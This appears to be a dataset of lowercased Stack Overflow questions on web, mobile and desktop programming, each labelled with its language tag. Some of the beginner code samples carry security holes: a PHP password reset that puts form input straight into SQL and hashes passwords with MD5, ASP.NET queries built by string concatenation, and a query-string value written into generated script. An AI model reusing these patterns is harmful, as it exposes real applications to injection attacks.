this section and look at the navigation bar while scrolling!&lt;/p&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt; &lt;/div&gt; &lt;div id= section41  class= container-fluid &gt;   &lt;h1&gt;section 4 submenu 1&lt;/h1&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt; &lt;/div&gt; &lt;div id= section42  class= container-fluid &gt;   &lt;h1&gt;section 4 submenu 2&lt;/h1&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt; &lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,css
angular resource $save has no push method  in angular i ve got the following factory:   <pre><code>.factory( user   function($resource){     return $resource(          /users  //url         {} //params defaults         {              save : {method:  post   isarray: true }         }//actions     ) ; }) </code></pre>   and in my controller i try to save a new resource like so:   <pre><code>    $scope.newuser = new user() ;      $scope.newuser.name = $scope.newuserform.name ;     $scope.newuser.email = $scope.newuserform.email ;      $scope.newuser.$save() ; </code></pre>   i get an array back from the server looking like that:    [       {id: 12         username:  adfsdf          email:  sadfsf@sdf.com        }    ]    but somehow i still get and error in the console:     typeerror: object # has no method  push     any idea where i m missing something     thanks,angularjs
acessing instance variables from a class results in  use of undeclared variable foo   i want to access an instance variable from a class  but it doesn t seem to work:    classa.h:   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface classa: nsobject  @property int foo;  -(int) foo; -(void) setfoo: (int) f;  @end </code></pre>   classa.m:   <pre><code>#import  classa.h   @implementation classa {     int foo; }  -(int) foo {     return foo; }  -(void) setfoo: (int) f {     foo = f; }  @end </code></pre>   categorya.h:   <pre><code>#import  classa.h   @interface classa (categorya)  -(void) print;  @end </code></pre>   categorya.m:   <pre><code>#import  categorya.h   @implementation classa (categorya)  -(void) print {     nslog(@ foo: %i   foo); //use of undeclared variable  foo ; did you mean  for   }  @end </code></pre>   main.m   <pre><code>#import &lt;foundation/foundation.h&gt; #import  classa.h  #import  categorya.h   int main (int argc  const char * argv[]) {      @autoreleasepool     {         classa *a = [[classa alloc] init];         [a setfoo: 10];         [a print];     }     return 0; } </code></pre>   i m fairly new to objective-c so i might just have overlooked something.    i know i can just synthesize foo  but it results in the same error.    the project can be downloaded here: <a href= http://cl.ly/dl4s  rel= nofollow >http://cl.ly/dl4s</a>,objective-c
setinterval queuing up while browser in separate tab  how can i stop javascript from queuing up animations from a setinterval while the page is not the primary tab in view  i ve tried clearing the interval on blur of the document but no luck.,javascript
why give  stop working  error message when work with structure in c   i need to understand why give this error message  stop working . here is my code.   <pre><code>#include &lt;stdio.h&gt;  struct student{     int id;     char name[20];     char *title; };  int main() {     struct student *st;     st-&gt;id = 23;     //st-&gt;name =  shaib ;     st-&gt;title =  title ;      printf ( %d   st-&gt;id);     printf ( %s   st-&gt;title);      return 0; } </code></pre>,c
i don t understand the program  i wanted a program which could list all the contents available in a directory. i found a nice code in java2 s.com   <a href= http://www.java2s.com/code/java/file-input-output/listingthedirectorycontents.htm  rel= nofollow >http://www.java2s.com/code/java/file-input-output/listingthedirectorycontents.htm</a>     and here is the code    <pre><code>import java.io.file; import java.util.arrays;  public class dir {    static int indentlevel = -1;    static void listpath(file path) {     file files[];      indentlevel++;       files = path.listfiles();      arrays.sort(files);     for (int i = 0  n = files.length; i &lt; n; i++) {       for (int indent = 0; indent &lt; indentlevel; indent++) {         system.out.print(    );       }       system.out.println(files[i].tostring());       if (files[i].isdirectory()) {         listpath(files[i]);       }     }     indentlevel--;    }    public static void main(string args[]) {     listpath(new file( .\\code ));   } } </code></pre>   what i don t understand is the variable <code>n</code> in the first <code>for</code> loop. if it is not defined anywhere  then why is the program not showing any error,java
custom logic for back button press in uinavigationcontroller  a more detailed explanation of my app layout: clicking on any of the rows of the table view will take the user to the next screen with a back button pointing back to home and a segmented control on the top. a logic in the code determines which of the segments of the segmented control will be preselected. the user can click on any of the indexes of the segmented control to change the content displayed on the screen.     the way i have implemented the above layout is through a navigation controller. the content of each of the pages corresponding to “first  second &amp; third  of the segmented control are all separate view controllers. the reason i have it this way is because each of these pages have significant functionality and controls for the user to interact with. keeping them each as a separate view controller helps software code organization and data integrity. the home screen is at index zero of the stack of navigation controllers   view controller corresponding to first at index one of the navigation controller and so on. let s say the user is currently on the second screen with “first”selected in the segmented control. if the user now clicks on  third   two view controllers are pushed onto the stack and vice versa for popping controllers out of the navigation stack.    two questions:     •   any comments on the way i have implemented  are there suggestions for any better implementations  one specific implementation that i did consider is the possibility of having one view controller with three separate views (one each for first  second &amp; third)  any comments on this approach    <pre><code>•   i seem to have an extremely hard time controlling the behavior of the “back button”of the navigation controller. when the user has selected “second”in the segmented control  i would still like to have the back button saying “home” instead of “first” which is the default behavior of the navigation controller. i have figured out how i can customize the text of the back button. however  i can t seem to figure out how to customize the behavior of the button. what i mean by that is  when the user is on  third”  and clicks on the “home button”i d like to pop three view controllers and land the user on the home screen. </code></pre>   on so  i saw and tried various techniques with no success: approach 1: viewwilldisappear(): determine if this function is being called as part of a back button press and implement the logic of popping additional view controllers beyond the standard one view controller pop. for a moment  this logic does indeed pop back to the home page however it immediately crashes with the following message which i don t seem to understand:    approach 2: didpopitem(): i put the following code in this function    <pre><code>- (void)navigationbar:(uinavigationbar *)navigationbar didpopitem:(uinavigationitem *)item {     nslog(@ %s  __function__);       [[self navigationcontroller] popviewcontrolleranimated:yes];     //viewcontrolleranimated:yes];    nslog(@ navcount%d  self.navigationcontroller.viewcontrollers.count);    if (self.navigationcontroller.viewcontrollers.count &gt; 1) {          [self.navigationcontroller poptoviewcontroller:[self.navigationcontroller.viewcontrollers objectatindex:1] animated:yes];    }  } </code></pre>   any comments on the above will be much appreciated! thanks in advance for your help.,ios
how to calculate working hours between two dates excluding holidays and weekends   let s say that i have two dates:   <pre><code>$initialdate =  08/10/2015 09:30:24 am ; $finaldate =  15/10/2015 15:47:38 pm ; $holiday =  12/10/2015 ; </code></pre>   <strong>i have to consider the hour of these days.</strong>   <pre><code>hours to consider : 8 hours per day; start : 8 pm end: 18 pm (24 hours format ) lunch break start: 12:00 pm lunch break end: 14:00 pm  example 1 : from 08/10/2015 10:00:00 to 09/10/2015 17:00:00 results 13 working hours. ( excludes lunch break ) example 2 : from 08/10/2015 14:00:00 to 09/10/2015 18:00:00 results 12 working hours. ( do not exclude 2 hours from begin date  because starts after 14:00 pm  lunch break ) example 3 : from 08/10/2015 16:00:00 to 09/10/2015 18:00:00 results 10 working hours. ( do not exclude 2 hours from begin date  because starts after 14:00 pmm lunch break ) exampld 4 : from 08/10/2015 08:00:00 to 09/10/2015 11:00:00 results 14 working hours. ( exclude 2 hours from begin date  and do not exclude 2 hours from end date  because isn t after 14:00 pm  ) </code></pre>   and i have to calculate the working hours and working days between those two dates  excluding weekends and holidays  how can i do that   i m using php.    ps: i already have something  but without lunch break... i made a research here on stackoverflow.    code:       <pre><code>function get_workdays($datainicial $datafinal){ // arrays $days_array = array(); $skipdays = array( saturday    sunday ); $skipdates = get_feriados();  // other variables $i = 0; $current = $datainicial;  if($current == $datafinal) // same dates {     $timestamp = strtotime($datainicial);     if (!in_array(date( l   $timestamp)  $skipdays)&amp;&amp;!in_array(date( y-m-d   $timestamp)  $skipdates)) {         $days_array[] = date( y-m-d  $timestamp);     } } elseif($current &lt; $datafinal) // different dates {     while ($current &lt; $datafinal) {         $timestamp = strtotime($datainicial.  + .$i.  day );         if (!in_array(date( l   $timestamp)  $skipdays)&amp;&amp;!in_array(date( y-m-d   $timestamp)  $skipdates)) {             $days_array[] = date( y-m-d  $timestamp);         }         $current = date( y-m-d  $timestamp);         $i++;     } } return $days_array;   }  function get_feriados(){ $dateano = date( y ); $days_array = array(         $dateano. -10-12   // padroeira do brasil/ dias das crianças         $dateano. -11-02    // finados         $dateano. -12-25   // finados ); return $days_array;   }  date_default_timezone_set( america/sao_paulo ); $dateano = date( y ); $datainicial = date( 08/10/2015 h:i ); $datafinal = date( 13/10/2015 h:i );  // timestamps $from_timestamp = strtotime(str_replace( /    -   $datainicial)); $to_timestamp = strtotime(str_replace( /    -   $datafinal));  // work day seconds $workday_start_hour = 9; $workday_end_hour = 17; $workday_seconds = ($workday_end_hour - $workday_start_hour)*3600;  // work days beetwen dates  minus 1 day $from_date = date( y-m-d  $from_timestamp); $to_date = date( y-m-d  $to_timestamp);  $workdays_number = count(get_workdays($from_date $to_date))-1; $workdays_number = $workdays_number&lt;0   0 : $workdays_number;  // start and end time $start_time_in_seconds = date( h  $from_timestamp)*3600+date( i  $from_timestamp)*60; $end_time_in_seconds = date( h  $to_timestamp)*3600+date( i  $to_timestamp)*60;  // final calculations $working_hours = ($workdays_number * $workday_seconds + $end_time_in_seconds - $start_time_in_seconds) / 86400 * 24;  print_r( &lt;br/&gt; horas úteis  .$working_hours);   } </code></pre>   but don t consider two hours of break lunch. can somebody please help me,php
reading opened excel file by oledb  i am using oledb method to read an excel file  however if the file is closed then there is no issues but if the file that has to be read is open then if i use oledb i get an error. any workaround for this        please help....,c#
tabbar memory management  a tab bar based app with 5 tabs switching option...how i am suppose to manage memory efficiently     switching between tab are very frequent i am how to manage this scenario     or     all tab will remain active no matter what  but thats a bad option...    please describe in detail regarding tab bar memory management,ios
change the image(image url) of buttonfield which is added in gridview by onclick event  i add a buttonfield in one gridview s column so there is buttonfield for each record as below code   <pre><code>&lt;asp:gridview id= gvdetail  runat= server &gt;     &lt;columns&gt;         &lt;asp:buttonfield buttontype= image  imageurl= ~/img/black.png  commandname= ggg  /&gt;     &lt;/columns&gt; &lt;/asp:gridview&gt; </code></pre>   in this i wants to change the image(image url) by clicking on that button field..    <strong>i add a column status in the gridview...</strong>    i wants to change the image of buttonfield 4 times..    it means default it displays the  black image  and status is  1   on 1st click it changes to  blue image  and status must be changed to  2   on 2nd click it changes to  green image  status  3   on 3rd click it changes to  red image  status  4 .  and on 4th click again it changes to  black image  status  1 ..    its also working like on 1st click it change the image from black to blue and status from  1  to  2   but when again i click on that it does not work.. to change it again. it needs to stop the project from running. and rerun it. then it works for only one click then again needs to stop the project and so on...  any solution for this        my code is as below..    protected void gvdetail_rowcommand(object sender  gridviewcommandeventargs e)     {    if (e.commandname== ggg )         {   <pre><code>        int index = convert.toint32(e.commandargument);          int temp;         temp = convert.toint32(gvdetail.rows[index].cells[1].text);       // gets the id of clicked row from first column(name= id )          com = new sqlcommand();         var _with1 = com;         _with1.connection = con;           if (gvdetail.rows[index].cells[3].text ==  1 )         {             string str1;             str1 =  update subtask set status= 2  where id=    + temp +    ;             _with1.commandtext = str1;             label4.text =  start ;             label4.text = str1;              gridviewrow gvrow = gvdetail.rows[index];             ((imagebutton)gvrow.controls[0].controls[0]).imageurl =  ~/image/green.png ;         }          else if (gvdetail.rows[index].cells[3].text ==  2 )         {             string str1;             str1 =  update subtask set status= 3  where id=    + temp +    ;             _with1.commandtext = str1;             label4.text =  start ;             label4.text = str1;             gridviewrow gvrow = gvdetail.rows[index];             ((imagebutton)gvrow.controls[0].controls[0]).imageurl =  ~/image/blue.png ;         }          else if (gvdetail.rows[index].cells[3].text ==  3 )         {             string str1;             str1 =  update subtask set status= 4  where id=    + temp +    ;             _with1.commandtext = str1;             label4.text =  start ;             label4.text = str1;             gridviewrow gvrow = gvdetail.rows[index];             ((imagebutton)gvrow.controls[0].controls[0]).imageurl =  ~/image/red.png ;         }          else if (gvdetail.rows[index].cells[3].text ==  4 )         {             string str1;             str1 =  update subtask set status= 1  where id=    + temp +    ;             _with1.commandtext = str1;             label4.text =  start ;             label4.text = str1;             gridviewrow gvrow = gvdetail.rows[index];             ((imagebutton)gvrow.controls[0].controls[0]).imageurl =  ~/image/black.png ;         }          _with1.executenonquery();       }   } </code></pre>   how can i do it     thanks in advance,asp.net
toggle class on 2 elements  i have 2 links doing the same  now i want to add a class off  active  on both if them when there is one clicked.    i have these two links on different positions in my page:    1: <code>&lt;a href= #  title= software  class= filter  data-filter= .software &gt;software&lt;/a&gt;</code>    2: <code>&lt;a href= #  title= software  class= filter  data-filter= .software &gt;software&lt;/a&gt;</code>    and i m using this code:   <pre><code>$( .filter ).click(function(){         var filter = $(this).attr( data-filter );          if($(this).hasclass( active )){             $( a[data-filter=   + filter +   ] ).removeclass( active );         }else{             $( a[data-filter=   + filter +   ] ).addclass( active );         }          return false; }); </code></pre>   but no matter which link i click  it only changes the second class.    what am i doing wrong,jquery
getting an unexpected  syntax error  in my php code  i am really stuck on this problem. how can i make it work  it selects from email the user and resends on email the password.    i got an error on line 45 but cannot find it:   <blockquote>    parse error: syntax error  unexpected  not  (t_string) in /home/xxxxxx/public_html/xxxx/email.php on line 45  </blockquote>   here is my code:   <pre><code>    &lt; php  $host= localhost ; // host name - update all those fields  $username= xxxxx ; // mysql username   $password= xxxx ; // mysql password    $db_name= xxxxxx ; // database name  //connect to server and select databse.  mysql_connect( $host    $username    $password )or die( cannot connect to server ); mysql_select_db( $db_name )or die( cannot select db );  // value sent from form  $email_to=$_post[ email_to ]; // table name  $tbl_name=tz_members;  // retrieve password from table where e-mail is equal  $sql= select usr  pass  regip from $tbl_name where email= $email_to  ; $result=mysql_query($sql);  // if found this e-mail address  row must be 1 row // keep value in variable name  $count   $count=mysql_num_rows($result);  // compare if $count =1 row  if($count==1) { $rows=mysql_fetch_array($result);  $your_username=$rows[ usr ]; $your_password=$rows[ pass ]; $your_ip=$rows[ regip ]; $pass = substr(md5($your_ip.microtime().rand(1 100000)) 0 6); // create a new pass  mysql_query(  update tz_members set pass=  .md5($pass).   where email=  .$email_to.   ); // update the db  // ---------------- send mail form ---------------- // send e-mail to ... $to=$email_to;  // your subject  $subject= your password here ;  // from  $header= from: your name  ;  // your message  $messages=  your password for login has been reset.\r\n ; $messages.= the new password is $pass \r\n ; $messages.= regards \r\n ;  // send email  $sentmail = mail($to $subject $messages $header);  mysql_free_result($result); }  // else if  $count not equal 1 else if ($count==0) echo  your email was not found in our database ; else echo  more than one ( .$count. ) email records was found in our database  please contact the administrator. ;  // if your email succesfully sent  if($sentmail) { echo  the new password has been reset and sent to the email on record. ; } else { echo  cannot send the password to this e-mail address ; }   &gt; </code></pre>   it s a form that reset password from database.,php
to initialize selection bar in uipickerview   how can i initialize selection bar in uipickerview  when i run it  it shows  first row is selected with bar..how can i change the row inwhich selection bar must be there dynamically     i have done like following ...its not working    <pre><code>- (nsinteger)pickerview:(uipickerview *)thepickerview numberofrowsincomponent:(nsinteger)component         {          [psportpicker selectrow:3 incomponent:component animated:yes];         return [citycount];       } </code></pre>,iphone
while inserting google calendar entries using service account and.net giving error  while trying to insert calendar event to one user s account it is returning error form me as    <blockquote>    google.apis.requests.requesterror  not found [404]  errors [           message[not found] location[ - ] reason[notfound] domain[global]       ]        google.apis.requests.requesterror       not found [404]       errors [           message[not found] location[ - ] reason[notfound] domain[global]       ]  </blockquote>  <pre><code>    public static event insert(calendarservice service  string id  event myevent){     google.apis.calendar.v3.data.event calenderevent = new google.apis.calendar.v3.data.event(); calenderevent.summary = myevent.summary;                 //calenderevent.description = summary;                 //calenderevent.location = summary;                 calenderevent.start = new  google.apis.calendar.v3.data.eventdatetime                 {                     datetime = new datetime(2018  07  07  19  00  0)                      //datetime = datetime.now                      timezone =  (gmt+05:30) india standard time //                                                                  //timezone =  europe/istanbul                  };                 calenderevent.end = new google.apis.calendar.v3.data.eventdatetime                 {                     datetime = new datetime(2018  07  07  18  00  0)                      //datetime = datetime.now.addhours(12)                      timezone =  (gmt+05:30) india standard time //                                                                  //timezone =  europe/istanbul                  };enter code here var neweventrequest = service.events.insert(calenderevent  id);                 neweventrequest.sendnotifications = true;                 var eventresult = neweventrequest.execute();                  return eventresult; } </code></pre>,.net
repeat horizontally splitted sprite to the left  <img src= https://i.stack.imgur.com/z3plr.png  alt= spritesheet >    i have this spritesheet and i have to repeat each column horizontally to the left for different backgrounds. how can i achieve this  i played arround with background-position  background-repeat and background-size but i can´t achieve the desired behaviour. anyone knows how to do this,css
how to click coordinates in screen dynamically on android   i want to read a file and click coordinates which are read from file. how to do that   i found expresso library but i get an error. no instrumentation registered! must run under a registering instrumentation.    my code:   <pre><code>private static string urlapi =   ;  @requiresapi(api = build.version_codes.n) @override protected void oncreate(bundle savedinstancestate) {     strictmode.threadpolicy policy = new strictmode.threadpolicy.builder().permitall().build();      strictmode.setthreadpolicy(policy);       super.oncreate(savedinstancestate);      setcontentview(r.layout.click);     linearlayout linearlayout = findviewbyid(r.id.mainlayout);      try     {         onview(withid(r.id.mainlayout)).perform(clickxy_double(1 1));     }     catch (exception e)     {         string ee = e.tostring();     }  }  public static viewaction clickxy_double(final int x  final int y){     log.w( viewaction    girdik );     return new generalclickaction(             tap.double              new coordinatesprovider() {                 @override                 public float[] calculatecoordinates(view view) {                      final int[] screenpos = new int[2];                     view.getlocationonscreen(screenpos);                      final float screenx = screenpos[0] + x;                     final float screeny = screenpos[1] + y;                     float[] coordinates = {screenx  screeny};                     log.w( coordinate   coordinates.tostring());                     return coordinates;                 }             }              press.finger  inputdevice.source_touchscreen              motionevent.button_primary); } </code></pre>   },android
.netframework 4 sdk  where can i download .netframework 4 sdk      <strong>update</strong> i am looking specifically for the sdk and tools that come with it like gacutil  not just the .netframework 4 redistributable which lacks these tools.    i want to avoid installing vs 2010 if possible...    <strong>answer from below</strong>    windows sdk that includes .net 4.0  it was not announced or released yet,.net
how do i get prototype tableview content to show in a tab bar viewcontroller   i am creating an app for ios 7 and i am using storyboard to create the initial views and segues. because this app will use tab bar for the main navigation i started with a tab bar controller. i then added a table view to that view  so the table view is nested in the first (default) view controller. because i am still in the proof of concept phase i am using static content. however  when i set the table cells to static > basic with a disclosure indicator  nothing shows up when i run the app in the simulator. is there something else that needs to be done to get this content to show     thanks.,ios
$http.get success in angularjs can t access factory which called it  i ve got a factory which looks a little bit like this:   <pre><code>app.factory( myfactory  [ $http  function($http){     return {         state: {             collectionofthings: {}         }          getthings: function() {             $http.get(url).success(function(data) {                 this.state.collectionofthings = data;             });         }     }; }]); </code></pre>   all it provides is a method which gets a thing from a web service  and i want to store the answer in <code>state.collectionofthings</code>. however  when the <code>$http</code> success method is called  <code>this</code> no longer refers to the factory and refers to <code>window</code>. i would have thought this was quite a straightforward thing to do  but i can t figure it out.    how do i populate the field in the factory with the results from the <code>$http.get</code>,angularjs
what concepts do people use to link between pages in angularjs   i am a new angularjs developer and i know some concepts that angularjs use like spa and components. i am really confused about the concept of redirecting to another pages in any angular app. i want to know what s the best solution for redirect users through the app pages.     so i ve some questions to ask.   <ol> <li>can i use html ahref tags normally as it s an html application or should i use spa concept to allow the user to go to other pages </li> <li>do i have to create a new component for each page i create in my angular application  </li> </ol>,angularjs
pip install hyperopt and hyperas fail  i was trying to install hyperopt  but i got the following error:   <pre><code>collecting hyperopt using cached hyperopt-0.0.2.tar.gz complete output from command python setup.py egg_info: debug:root:distribute_setup.py not found  defaulting to system setuptools traceback (most recent call last):   file  &lt;string&gt;   line 1  in &lt;module&gt;   file  /tmp/pip-build-gmhldfe7/hyperopt/setup.py   line 119  in &lt;module&gt;     if package_data is none: package_data = find_package_data(packages)   file  /tmp/pip-build-gmhldfe7/hyperopt/setup.py   line 102  in find_package_data     for subdir in find_subdirectories(package):   file  /tmp/pip-build-gmhldfe7/hyperopt/setup.py   line 73  in find_subdirectories     subdirectories = os.walk(package_to_path(package)).next()[1] attributeerror:  generator  object has no attribute  next   ---------------------------------------- command  python setup.py egg_info  failed with error code 1 in /tmp/pip-build-gmhldfe7/hyperopt/ </code></pre>   and i got the same error when intalling hyperas. but i can install ggplot successfully by using <code>pip</code> command. i am using ubuntu 14.04 and python 3.5.     thanks.,python
how to set position of <div> tag  i have set the position of  tag using following line   <pre><code>&lt;div id= mytestdiv  style= border: 2px solid rgb(100  149  237); color:#23238e; background-color:white; position:absolute; top:458px; left:605px; width:210px; height:162px; display:none  &gt; </code></pre>   the problem with this is  its working fine in my machine  but when i deploy the code on some other machine  the position and style (background color) are not displayed properly...    do any one have any idea  how to set uniform style and position of div for all resolution     thanks in advance,html
why is c not used so much in gui programming   i see that the c gui libraries are very less. well the most prominent was gtk and alike. i dont see any prominence of c projects with gui. either c is not preferred for gui. i see for like programming languages like c++  java and python  there are more gui libraries and are more abundant. so what i ask is why does c not have a gui lirary in surplus like others. is it because of the absence of object orientation  mostly i see c used in console modes. even in some system programming  other than that its either c++ or something else for gui programming. should one stop gui design in c and go for other languages  i wish to know this in detail.,c
php remove string after a certain character to before character <pre><code>$text=  this is a text1 i want to replace before # text2 i want to replace  before # text3   start point = text1  end point =  #  replace=  @@@@@@  </code></pre>   note  i want to replace before  is changeable sentence result will be  this is a @@@@@@ text2 i want to remove before # text3,php
getting undefined for a key that exists  i am very new to node.js but i don t think this should be happening:   <pre><code>const snekfetch = require( snekfetch ); const auth = require( ../auth.json ); const totext = require( html-to-text );  exports.run = async (bot  message  args) =&gt; {     const content = args.join(   );     const tagged = args[0];      snekfetch.get( http://api.stackexchange.com/2.2/search pagesize=1&amp;order=desc&amp;sort=votes&amp;tagged= +tagged+ &amp;intitle= +content+ &amp;site=stackoverflow&amp;key=censored )     .then(r =&gt; console.log(r[ body ][ items ][ accepted_answer_id ]));     /*     var text = htmltotext.fromstring(bodyofsnek  {         wordwrap: 130     });     */ } </code></pre>   this prints out undefined. removing the [ accepted_answer_id ] gives me this object:   <pre><code>[{ tags :[ javascript   object   undefined ]  owner :{ reputation :60056  user_id :797  user_type : registered   accept_rate :68  profile_image : https://www.gravatar.com/avatar/aef85130bf44caa9b4de0a3153e758f2 s=128&amp;d=identicon&amp;r=pg   display_name : matt sheppard   link : https://stackoverflow.com/users/797/matt-sheppard }  is_answered :true  view_count :857526  protected_date :1335343521  accepted_answer_id :416327  answer_count :37  score :2180  last_activity_date :1504076618  creation_date :1219735508  last_edit_date :1447031189  question_id :27509  link : https://stackoverflow.com/questions/27509/detecting-an-undefined-object-property   title : detecting an undefined object property }] </code></pre>   and i can see accepted_answer_id in there with its value as 416327. so why is it returning undefined,javascript
what s the difference between --i and i--   in some code i ve seen a for loop with a --i as third parameters    <pre><code>for(int i=array.length; i&lt;0; --i) </code></pre>   maybe someone can explain me the difference with i--       i guess it s something like the moment when i is decremented,java
asp.net calender control problem  iam using calender control in asp.net 2.0  as it is using master pages.. iam opening a window form content pages.. on window.close it is giving me null object as its not getting form name you help will be appreciated    code on content page:   <pre><code>&lt;a onclick= openwindow();  ahref= # &gt; &lt;img src= images/calendar.gif  style= width: 20px; height: 20px  border=0/&gt;&lt;/a&gt; &lt;input id= text1  runat= server  readonly= readonly  type= text  /&gt;  function openwindow() {       window.open( /calender.aspx    calendar_window   width=154 height=188 ); } </code></pre>   code on opened window from content page   <pre><code>protected void calender1_selectionchanged(object sender  eventargs e)     {         string strjscript =  &lt;script language= javascript &gt; ;         strjscript +=  window.opener.  + httpcontext.current.request.querystring[ formname ];         strjscript +=  .value =    + calender1.selecteddate.tostring( yyyy-mm-dd ) +   ; window.close(); ;         strjscript +=  &lt;/script  +  &gt; ;           literal1.text = strjscript;      }      protected void calendar1_dayrender(object sender  dayrendereventargs e)     {                        if(e.day.date==datetime.now)         {             e.cell.backcolor = system.drawing.color.lightgray;         }      } </code></pre>,asp.net
opening windows form in a word add-in  hello everyone so i created a simple windows form that is a user control. on my add in s start up i want to call that user control. when i run the application all it does is open a word application  without loading the form s information which is supposed to be like a side pane.     here is what i have so far.    <pre><code>namespace wordaddin2 {     public partial class thisaddin     {         sidepane sp;         private void thisaddin_startup(object sender  system.eventargs e)         {             sp = new sidepane();             sp.show();         }          private void thisaddin_shutdown(object sender  system.eventargs e)         {             sp.hide();         }          #region vsto generated code          /// &lt;summary&gt;         /// required method for designer support - do not modify         /// the contents of this method with the code editor.         /// &lt;/summary&gt;         private void internalstartup()         {             this.startup += new system.eventhandler(thisaddin_startup);             this.shutdown += new system.eventhandler(thisaddin_shutdown);         }          #endregion     } } </code></pre>   here is the sidepane form:   <pre><code>namespace wordaddin2 {     public partial class sidepane : usercontrol     {         public sidepane()         {             initializecomponent();         }          private void label1_click(object sender  eventargs e)         {          }          private void button1_click(object sender  eventargs e)         {             process.start( explorer.exe    -p );         }     } } </code></pre>   if someone could help me identify my simple error  that would be wonderful.,c#
python import global variables but calls functions  i hava two global variables in my python module: load.py:   <pre><code>a = load_a() b = load_b() </code></pre>   i want to import a in my test file: test.py:   <pre><code>from load import a </code></pre>   however  i found that b is also called  <code>load_b()</code> is also called and <code>load_b()</code> may cost a lot of time so my question is how can i just load a but not call <code>load_b()</code> function,python
"how to add different links to two images in header  i have added 2 images to my header and all looks fine  but i want each image to have a different link when i try adding href to the second image both images inherit this link. what am i missing. i am new to html.. thanks    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= main-header-container container-fluid &gt;
 &lt;div class= container &gt;
 
 &lt;!--&lt;nav class= navbar navbar-default  id= mainmenu  role= navigation &gt;--&gt;
 &lt;nav class= navbar navbar-default  id= mainmenu &gt;
 
  &lt;div class= nav-container &gt;
     
     &lt;div class= navbar-header &gt;
         &lt;button type= button  class= navbar-toggle  data-toggle= collapse  data-target= #bs-example-navbar-collapse-1 &gt;
             &lt;span class= sr-only &gt;toggle navigation&lt;/span&gt;
             &lt;span class= icon-bar &gt;&lt;/span&gt;
             &lt;span class= icon-bar &gt;&lt;/span&gt;
             &lt;span class= icon-bar &gt;&lt;/span&gt;
         &lt;/button&gt;
  
         &lt;a class= navbar-brandf  href= &lt; php echo site_url(). /link1.html ;  &gt; &gt;
         &lt;img src= &lt; php echo get_template_directory_uri();  &gt;/images/logo.svg  alt= logo1  class= img-responsive  /&gt;
      &lt;/a&gt;&lt;/div&gt;
 
  &lt;a class= navbar-brandf  href= &lt; php echo site_url(). /link2.html ;  &gt; &gt;
         &lt;div class= navbar-world &gt;
             &lt;img src= /images/tag.png  alt= logo2  style= width:90px; height:80px  class= img-responsive  /&gt;
         &lt;/div&gt;
     &lt;/a&gt;</code></pre>
 </div>
 </div>",html
displaying data from database in a partial  i m pretty new to rails and i can t figure out how exactly to get data from the database and have it show up in a partial. so i have a <code>question_form</code> partial:   <pre><code>&lt;h1&gt;add question here&lt;/h1&gt; &lt;div class= row &gt;     &lt;div class= col-md-6 &gt;         &lt;%= form_for(:question  url: questions_path) do |f| %&gt;         &lt;div class= field &gt;             &lt;%= f.text_area :content  placeholder:  compose question...  %&gt;         &lt;/div&gt;         &lt;%= f.submit  post   class:  btn btn-primary  %&gt;        &lt;!-- ref 398  664 --&gt;         &lt;% end %&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   i render it in my <code>root_path</code> (staticpages#home). it posts to a create action in a questions controller which saves it to the database. i want to then display all of the questions submitted at once. i know i can do something like:     <pre><code>def show @questions = question.all end </code></pre>   then iterate through @students in <code>show.html.erb</code>. but the problem is i don t want it in a separate page  i want it all to be shown on the homepage as well. how should i do this,ruby-on-rails
creating a child object from parent in php7  let s say i have a parent class <code>x</code> and a child class <code>y extends x</code>. now i have an object of <code>x</code> which holds public and private attributes.    now  i want to create an object of <code>y</code> which has the exact same values as my previously created <code>x</code>.   <pre><code>not working example  class x { public $var; }  class y extends x {}  $x = new x(); $x-&gt;var = 5;  $y = new y(); // this object should have the same properties as x     echo $y-&gt;var; // should echo 5 </code></pre>   <strong>edit</strong>    i know this is not a pretty standard way php should behave  but i need this functionality to convert some legacy php code to work with a new set of child classes.,php
layout preview appearing blank despite of adding items (text boxes etc). even project name is not appearing on screen <ul> <li>i created a new project on android studio  </li> <li>open layout >>  activity_main  </li> <li>drag and drop text box on layout but still it is empty.</li> </ul>   tried to make font black and edit other settings but nothing helps.    image     <a href= https://i.stack.imgur.com/ak2gb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ak2gb.png  alt= enter image description here ></a>,android
force to call a parent class method when the child class method is invoked - c#.ne  we have two classes say  parent  and   child  as shown below :   <pre><code>class parent {    parent_adduser()     {       // add user code for parent     }      abstract child_adduser(); }  // child class  class child : parent {   child_adduser()      // implementing the abstract method    {       // child adduser code      } } </code></pre>   we would like to know whether we can force calling the parent_adduser() method whenever the child_adduser() is invoked wihout making an explicit call.,c#
create a box in html and align it left or right inside a normal text   lets say i have a normal text in a paragraph (<em>&lt;p&gt;...&lt;/p&gt;</em>). now i want to place a box with for example ads or additional information somewhere in the text to the right or left. it should not be above or below the text  the text should align itself around the box.    how would i do this  i tried with span and div but failed so far. ideas     thanks :-),html
no declaration of the property  pdata  found in the interface-objective c  how to declare an array of characters so that all the functions that has been defined inside the class can use it with the updated values.    getting errors when defining the char data[4096] in the @synthesize definition.   <pre><code>@interface a: nsobject {  char data[4096]; } @property(nonatomic retain)char data; @end @implementation a @synthesize data @end </code></pre>   i am getting  no declaration of the property  pdata  found in the interface,objective-c
